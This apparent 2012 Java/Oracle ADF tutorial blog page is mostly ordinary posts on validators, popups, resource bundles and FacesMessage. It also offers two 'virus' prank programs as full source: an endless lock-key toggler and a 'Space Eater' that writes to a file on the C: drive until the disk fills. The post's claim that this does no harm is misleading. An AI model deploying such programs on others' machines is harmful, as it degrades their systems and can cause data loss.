Please disable your adblock and script blockers to view this page

Search this blog

Wednesday 21 November 2012

Custom Validator in Oracle ADF (JSF Validator), Email Validation Using Regex

Validation is very important part of any programming language, when we visit any website's registration form it says "This field is mandatory" or "Email id is not valid","Password doesn't match", these all are validations

What is a Validator-
A computer program or piece of code that checks syntax or value of any field according to a predefined condition is called Validator
Validators are used in every programming/scripting language.

How to Use Custom Validator in ADF Forms-
This is not complex to use validator in ADF forms, means in .jsff or in .jspx pages. Suppose we have a field of EmailId on form and we want to add custom email id validator on this field

To add validator in a field follow these steps

  • Select the field in Form
af:inputText to enter email id

  •  Now go to property inspector and Select Validator,it is empty by default
Create Validator method in managed bean
  • Now click on Validator edit in property inspector and create a validator in ManagedBean of taskflow




 
  • It will look like this- Default Custom Validator 
This validator method validates value of inputText

  •  Now we will add custom code to validate EmailId field in this validator

  1.     public void emailValidator(FacesContext facesContext, UIComponent uIComponent, Object object) {
  2.         if(object!=null){
  3.             String name=object.toString();
  4.             String expression="^[_A-Za-z0-9-]+(\\.[_A-Za-z0-9-]+)*@[A-Za-z0-9]+(\\.[A-Za-z0-9]+)*(\\.[A-Za-z]{2,})$";
  5.             CharSequence inputStr=name;
  6.             Pattern pattern=Pattern.compile(expression);
  7.             Matcher matcher=pattern.matcher(inputStr);
  8.             String msg="Email is not in Proper Format";
  9.             if(matcher.matches()){
  10.                
  11.             }
  12.             else{
  13.                 throw new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR,msg,null));
  14.             }
  15.         }
  16.     }

  • Now when we run this page, we can see validation
Regex to check Email Id format and in case of failure it show validation message

Saturday 3 November 2012

PopUp component in Oracle ADF, Use showPopUpBehavior/JavaScript to show PopUp

In this tutorial we will see that how to deal with PopUp component in Oracle ADF.
Suppose we want to show popUp on any button click or on any other action, then there is 2 way to do this.

First one is-

1. Drag a PopUp component on page from Component Pallette

Popup component in Oracle ADF


2. Now Drag a Button on page and drag af:showPopupBehavior under the button

af:showPopupBehavior to show popup

3.Select af:showPopupBehavior at page structure and go to property Inspector and pass tha popUp id and trigger type of Popup that you want to show on button click.

Set popup id in showPopupBehavior that you want to open  
5. Now run your page and click on Button and you will able to see Popup
Second One is-



In this you have to do some code in Managed Bean, you have to call a method on button click to show Popup

Method to show Popup-


    private void showPopup(RichPopup pop, boolean visible) {
        try {
            FacesContext context = FacesContext.getCurrentInstance();
            if (context != null && pop != null) {
                String popupId = pop.getClientId(context);
                if (popupId != null) {
                    StringBuilder script = new StringBuilder();
                    script.append("var popup = AdfPage.PAGE.findComponent('").append(popupId).append("'); ");
                    if (visible) {
                        script.append("if (!popup.isPopupVisible()) { ").append("popup.show();}");
                    } else {
                        script.append("if (popup.isPopupVisible()) { ").append("popup.hide();}");
                    }
                    ExtendedRenderKitService erks =
                        Service.getService(context.getRenderKit(), ExtendedRenderKitService.class);
                    erks.addScript(context, script.toString());
                }
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }


Now we call it on button click, and pass the binding of Popup in it
as we have Popup with binding AddPop then on Button click we call this method as

  1. showPopup(Addpop, true);

Thursday 1 November 2012

Java Code to on off Capslock,Numlock and Scrolllock

This javacode make your capslock,numlock and scroll-lock on, and using infinite loop you can make it to behave like virus. That will continuously make your locks on off.
Go with this code




  1. /*Code by http://www.javacup.co.in
  2.  * Ashish Awasthi
  3.  * */
  4. package practiceJava;
  5. import java.awt.Toolkit;
  6. import java.awt.event.KeyEvent;
  7. public class LockOn {
  8.     //This code show you how to on Capslock,Numlock and ScrollLock using JavaCode
  9.     //Using this you can also use many other keys of Keyboard in Java
  10.     public boolean capsLock(boolean cp) {
  11.         Toolkit tk = Toolkit.getDefaultToolkit();
  12.         tk.setLockingKeyState(KeyEvent.VK_CAPS_LOCK, cp);
  13.         return true;
  14.     }
  15.     public boolean numLock(boolean np) {
  16.         Toolkit tk = Toolkit.getDefaultToolkit();
  17.         tk.setLockingKeyState(KeyEvent.VK_NUM_LOCK, np);
  18.         return true;
  19.     }
  20.     public boolean scrollLock(boolean sp) {
  21.         Toolkit tk = Toolkit.getDefaultToolkit();
  22.         tk.setLockingKeyState(KeyEvent.VK_SCROLL_LOCK, sp);
  23.         return true;
  24.     }
  25. //This method on all three buttons
  26.     public boolean onAllKeys() {
  27.         return capsLock(true) & numLock(true) & scrollLock(true);
  28.     }
  29.     //This method off all three buttons
  30.     public boolean offAllKeys() {
  31.         return capsLock(false) & numLock(false) & scrollLock(false);
  32.     }
  33.     public static void main(String[] args) {
  34.         LockOn lc = new LockOn();
  35.         //this is an infinite loop that will make all 3 buttons contineous on-off
  36.         int i = 0;
  37.         while (i < 1) {
  38.             lc.onAllKeys();
  39.             lc.offAllKeys();
  40.         }
  41.     }
  42. }

Wednesday 31 October 2012

Passing parameter in XML Resource and Use it in Managed Bean, Using parameterised Resource Bundle in ADF

If we are developing an Fusion Web application and we are thinking about Multilingual application , then the best option i came to know is to use Resource Bundle properties of ADF . When we use resource bundle we have to use labels of Fields and Validation message or any kind of other custom message from a XML file as Resource.xml.
So first you should know that how to configure resource bundle in an ADF Application and there are plenty of posts about configuring Properties or List ResourceBundle.

In this post i will show you that how to pass parameter in XML or how to use Parametrized resource .

Suppose i  have a xml file for ResourceBundle reference Resource.xml--

  1. <?xml version="1.0" encoding="windows-1252" ?>
  2. <bundle>
  3. <label>
  4.     <key>MessageCheck</key>
  5.     <value>Only %s %s %s %s %s allowed</value>
  6.  </label>
  7. </bundle>

and now i use it in managed bean to show a custom message and replace its parameters %s with any desired value then we code like this




  1. //To get String from XML key, resolvElDC is a method to resolve expression language
  2. String message = resolvElDC("#{bundle['MessageCheck']}").toString();
  3. //here replace parameter(%s) in string message with your values
  4. String saveMsg = message.format(message, ",", "/", "@", "_", "%");
  5. //Show FacesMessage
  6. FacesMessage msg = new FacesMessage(saveMsg);
  7. msg.setSeverity(FacesMessage.SEVERITY_INFO);
  8. FacesContext ctx = FacesContext.getCurrentInstance();
  9. ctx.addMessage(null, msg);
  10. // Code for resolvElDC method
  11. public Object resolvElDC(String data) {
  12.     FacesContext fc = FacesContext.getCurrentInstance();
  13.     Application app = fc.getApplication();
  14.     ExpressionFactory elFactory = app.getExpressionFactory();
  15.     ELContext elContext = fc.getELContext();
  16.     ValueExpression valueExp = elFactory.createValueExpression(elContext, data, Object.class);
  17.     return valueExp.getValue(elContext);
  18. }

Now run your code and see the updated message- Only %s %s %s %s%s allowed is now
 
FacesMessage Oracle ADF

Thursday 25 October 2012

Clear af:table Filter Value declaratively in ADF, Reset table filter

When we use table component with filter, and we have to manually clear the data that we search by filter.
but ADF provides functionality to clear filter data by one click on Filter icon.

When We drop table on page and it looks like this

af:table , Tabular data in Oracle ADF

Now we have to set atleast one column with RowHeader --true in propertyInspector of table Column.
It mean select table column and go to property Inspector and Set RowHeader to true



Set Row Header Property of af:table to true

Now run the page, and search something using table filter

Clear filter icon on column that has Rowheader true

Now click on the clear icon that is appearing on head of column , for that we have set RowHeader to true
Click on clear filter icon to reset af:table filter

and your table filter get cleared when you click on that icon.

Cheers :) Happy Learning

Set on Current row after Rollback Execute or page refresh

Some times we edit a table in form and Save(Commit & Execute) or Cancel(Rollback & Execute)  and table refreshed to its first record means focus is now on first row of table.
And we need the same row again, then we search it and perform another operation, this is really disgusting behavior of table for Developer.

To set on previously selected row after execute we can use this code,
in this scenario we have to get current row key from its IteratorBinding and after Execute we can set it again to show that row as selected.





    /**
     * Generic Method to call operation binding
     **/
     public BindingContainer getBindings() {
      return BindingContext.getCurrent().getCurrentBindingsEntry();
     }


     BindingContainer bindings = getBindings();
     //Get Iterator of table
     DCIteratorBinding parentIter = (DCIteratorBinding)bindings.get("IteratorName");
     //Get current row key
     Key parentKey = parentIter.getCurrentRow().getKey();

     //You can add your operation code here, i have used simple Cancel operation 
     //with Rollback and Execute
     
     
     OperationBinding ob= bindings.getOperationBinding("Rollback");
     ob.execute();
     OperationBinding ob1= bindings.getOperationBinding("Execute");
     ob1.execute();
    
     //Set again row key as current row
     parentIter.setCurrentRowWithKey(parentKey.toStringFormat(true));


Monday 22 October 2012

Refresh Page in Oracle ADF by Java Code, Set partial trigger programmatically

Some times we need to refresh whole page , then we can use this managed bean code to refresh whole page in ADF.


    
import javax.faces.application.ViewHandler;
import javax.faces.component.UIViewRoot;
import javax.faces.context.FacesContext;

//Method to reload page
    protected void refreshPage() {

        FacesContext fctx = FacesContext.getCurrentInstance();
        String page = fctx.getViewRoot().getViewId();
        ViewHandler ViewH = fctx.getApplication().getViewHandler();
        UIViewRoot UIV = ViewH.createView(fctx, page);
        UIV.setViewId(page);
        fctx.setViewRoot(UIV);

    }

Partially refresh any UIComponent, Set partial trigger programmatically-




import oracle.adf.view.rich.context.AdfFacesContext;

AdfFacesContext.getCurrentInstance().addPartialTarget(UIComponentBinding);



Wednesday 17 October 2012

Uncommitted/Unsaved Data Warning on page Navigation-Oracle ADF

When we visit some websites and try to close browser tab, it shows warning message like this image

Browser Confirmation Dialog when leaving page 
    To do this in Oracle ADF you have to do nothing complex, if you are using .jspx then it is so simple.

  1. Select af:document from page structure and go to property inspector, now Set UncommitedDataWarning to on.
    af:document tag in Oracle ADF

    UncommittedDataWarning property in ADF
     
    Now when you have uncommitted data in your page and you want to navigate yo other page or want to close same page it will show a message

    When Navigate to another page and page has Uncommitted Data-




    Warning Message when there is unsaved data on page
     
    When try to close tab and page has Uncommitted Data-

Tuesday 16 October 2012

ADF Basics: Show FacesMessage in Oracle ADF


How to use FacesMessage in ADF

FacesMessage is used to show confirmation, warning, information .In this tutorial, you will see that how to use FacesMessage to show any information, warning or any error. Suppose you want to show a confirmation when you save your records, here we use FacesMessage.

Managed Bean Code to use FacesMessage(Information)-



      FacesMessage Message = new FacesMessage("Record Saved Successfully!");   
      Message.setSeverity(FacesMessage.SEVERITY_INFO);   
      FacesContext fc = FacesContext.getCurrentInstance();   
      fc.addMessage(null, Message);   


To use for Error and Warning just change FacesMessage.SEVERITY_INFO to SEVERITY_ERROR or SEVERITY_WARN.
It will look like this



FacesMessage in Oracle ADF

You can change your Message accordingly


Code that eats hard drive space, Space Eater Virus in Java

This Java Code will eat your space on C drive and Slowdown your System, this code doesn't harm your system. When you stop executing  program it will stop eating your space




  1. package socketProgramming;
  2. import java.io.FileNotFoundException;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. public class SpaceEater {
  6.     public static void main(String[] args) {
  7.         FileOutputStream fout;
  8.         try {
  9.             fout = new FileOutputStream("C://Ashish.dll");
  10.             String s =
  11.                 "Hello this is space eater virus how much space it will eat you don't know. it will just destroy all system speed and space on hard disc";
  12.             byte b[] = s.getBytes();
  13.             int i = 0;
  14.             while (i != -1) {
  15.                 fout.write(b);
  16.                
  17.             }
  18.         } catch (FileNotFoundException e) {
  19.         } catch (IOException e) {
  20.         }
  21.     }
  22. }

Monday 15 October 2012

ADF Basics: .jspx and .jsff page in Oracle ADF


.jspx-


.jspx page is JSP/XML representation, it is standalone page means it can run without any supporting or base page.
Jdeveloper 11g Release1 supports .jspx page but  Release2 supports both jspx and Facelets


.jsff page-


.jsff (JSF fragments) page is fragment of JSF(Java Server Faces) page, sometimes pages become to much complex and large and it is not easy to edit those pages, in that case it should be devided in some fragments.
JSF page can be broken in some smaller page fragments to avoid difficulties in editing and maintaining
page fragments can't run independently, it requires a base of .jsf(JSF page) or .jspx (JSP/XML)
page.

Facelets-


Java Server pages(JSP) technology previously used as view declaration for Java Server Faces (JSF) but it doesn't support all the feature of JSF available in JDK1.6 (Java 6), Facelets is introduced under Apche license and default view declaration technology for Java Server Faces.
Facelets supports all the new features introduced in JSF technology, Facelets requires XML document to work
  • Facelets supports HTML and XHTML for designing
  • Fasetr execution than JSP
  • Supports Facelets tab library with JSF and JSTL tag lib

JSP and JSPX-


The main difference I know is that JSP supports HTML and JSPX is XML variant of JSP. .jspx supports more component than jsp page and also compatible with JSF page fragments.


Garbage Collection in Java (Mark and Sweep Algorithm)


Garbage ,in case of Computer Science refers to data , object or any other part of Memory that will not be used in any further program.
Normally memory has much space according to programmer's requiremet but sometimes when there is a lot of unused but non-empty space in memory area, it results in slow processing


Garbage Collection-


Garbage Collection is a form of Memory Management, that is job of system.
Thats why it is called Automated Memory Management.
Garbage Collector try to free memory space occupied by programs and data object that are no longer accessed by any Program or by system communication.


In java-


In Java,Garbage collector runs automatically in the lifetime of a java program, It frees the allocated memory that is not used by running process.
In C language and other old languages , it is the responsibility of coder(Programmer) to free memory time to time using free(); function
You can manually run garbage collector in java, there is a method in System class named void gc();
It suggests JVM(java virtual machine) to collect currently unused memory.
System.gc(); is logically equal to Runtime.getRuntime.gc();


Mark and Sweep-


There are two algotithm for garbage collection- Mark and Sweep also known as Marking and Collection phase of garbage collector.
When all available memory has been exhausted and execution of the program is suspended for a while then mark-and-sweep algorithm marks and collects all the garbage values and memory space.
Once all garbage is marked then it is collected and process resumes .
This is the process of Garbage Collection in java, and same for many other Object Oriented languages

ADF Basics: Show inline Message in Oracle ADF




When we use any technology sometimes we need to show an alert message or warning or confirmation.
In Oracle ADF we use Faces Message same as JSF.
In this tutorial I am showing you that how to implement inline FacesMessage .

Those who are familiar with Oracle ADF can create basic architecture of MVC.
So follow these steps

  • Create a Fusion Web Application in Jdeveloper(IDE)
  • Now in ViewController create new Page.
  • Simply drag a CommandButton from Component Palette to page
  • and Write this code on button




public void showMessageButton(ActionEvent actionEvent) {
 FacesMessage msg=new FacesMessage("This is an inline FacesMessage");
 msg.setSeverity(FacesMessage.SEVERITY_FATAL);
 FacesContext fctx=FacesContext.getCurrentInstance();
 fctx.addMessage(null, msg);
 }
  • It will work as FacesMessage
  • Now drag a af:messages component in page from Component Palette

    select af:message from component pallette

  • Select af:messages and go to property inspector and set Inline-true

    Set inline true for af:message

  • Now run your page and click on button , it will look like this

    Inline Error Message Oracle ADF

  • This is how we show inline alert in Oracle ADF